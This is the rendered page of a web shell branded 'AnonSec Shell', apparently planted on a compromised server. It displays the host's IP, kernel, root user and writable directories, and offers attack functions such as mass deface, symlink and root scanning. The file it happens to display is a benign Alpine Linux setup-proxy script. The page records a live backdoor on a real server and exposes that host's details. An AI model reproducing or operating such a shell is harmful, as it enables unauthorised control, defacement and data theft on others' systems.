AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.146.35.1   [ Reverse IP ]
Web Server : Apache
System : Linux 3692325a-ac93-3ed0-1e50-897ae3432556.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/setup-proxy
#!/bin/sh

PREFIX=
: ${LIBDIR=$PREFIX/lib}
. "$LIBDIR/libalpine.sh"

usage() {
	cat <<-__EOF__
		usage: setup-proxy [-hq] [PROXYURL]

		Setup http proxy

		options:
		 -h  Show this help
		 -q  Quiet mode

		If PROXYURL is not specified user will be prompted.
	__EOF__
	exit $1
}

while getopts "hp:q" opt; do
	case "$opt" in
		q) quiet=1;;
		h) usage 0;;
		p) ROOT=$OPTARG;;
		'?') usage "1" >&2;;
	esac
done
shift $(( $OPTIND - 1))

proxyurl="$1"

PROFILE="$ROOT/etc/profile.d/proxy.sh"

if [ -f "$PROFILE" ] ; then
	. $PROFILE
fi

suggest=${http_proxy:-none}
while [ $# -eq 0 ]; do
	case "$proxyurl" in
		http://*|https://*) break;;
		none) break;;
	esac
	ask "HTTP/FTP proxy URL? (e.g. 'http://proxy:8080', or 'none')" $suggest
	proxyurl=$resp
done

if [ "$proxyurl" = "none" ]; then
	rm -f "$PROFILE"
else
	mkdir -p "${PROFILE%/*}"
	cat >"$PROFILE" <<-__EOF__
		# this file was generated with and might get overwritten by setup-proxy

		export http_proxy=$proxyurl
		export https_proxy=$proxyurl
		export ftp_proxy=$proxyurl
		export no_proxy=localhost
	__EOF__
	# busybox wget does not handle http proxies well
	apk add --quiet --no-progress wget
fi

if [ -z "$quiet" ] && [ "$proxyurl" != "none" ]; then
	cat <<-__EOF__

		To make changes active please do login again or source $PROFILE
		with ". $PROFILE"
	__EOF__
fi

Anon7 - 2022
AnonSec Team